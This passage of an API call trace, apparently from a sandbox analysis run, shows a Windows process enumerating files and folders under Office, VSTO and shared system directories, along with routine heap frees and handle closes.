	[0179.635] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0179.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.635] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0179.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.635] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0179.636] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.636] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0179.636] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.636] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0179.636] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.636] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0179.636] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x3cf50d8, Size=0x4000) returned 0x42b4080
	[0179.637] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="tabskb.dll", cAlternateFileName="")) returned 1
	[0179.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.637] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0179.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.638] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0179.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.638] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0179.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.638] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0179.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.638] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0179.638] FindClose (in: hFindFile=0x3cf0968 | out: hFindFile=0x3cf0968) returned 1
	[0179.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.640] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0179.641] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.641] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0179.641] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.641] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0179.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.643] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0179.643] FindClose (in: hFindFile=0x3cf0fa8 | out: hFindFile=0x3cf0fa8) returned 1
	[0179.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.643] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0179.644] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.644] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0179.644] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.644] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0179.646] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.646] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0179.646] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.646] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="en-US", cAlternateFileName="")) returned 0
	[0179.647] FindClose (in: hFindFile=0x3cf0b68 | out: hFindFile=0x3cf0b68) returned 1
	[0179.647] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.647] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0179.647] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.647] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="en-US", cAlternateFileName="")) returned 0
	[0179.647] FindClose (in: hFindFile=0x3cf0968 | out: hFindFile=0x3cf0968) returned 1
	[0179.647] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.647] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="VC", cAlternateFileName="")) returned 1
	[0179.648] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.648] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="VGX", cAlternateFileName="")) returned 1
	[0179.648] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.648] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0179.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.893] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0179.894] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.894] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0179.894] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.895] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0179.895] FindClose (in: hFindFile=0x3cf0ae8 | out: hFindFile=0x3cf0ae8) returned 1
	[0179.895] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.895] FindNextFileW (in: hFindFile=0x3cf0de8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="Services", cAlternateFileName="")) returned 1
	[0179.896] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.896] FindNextFileW (in: hFindFile=0x3cf0de8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="System", cAlternateFileName="")) returned 1
	[0179.896] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.896] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0179.897] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.897] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0179.898] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.898] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="msadc", cAlternateFileName="")) returned 1
	[0179.898] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.898] FindNextFileW (in: hFindFile=0x3cf0a68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0179.899] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.899] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0179.899] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.899] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0179.900] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
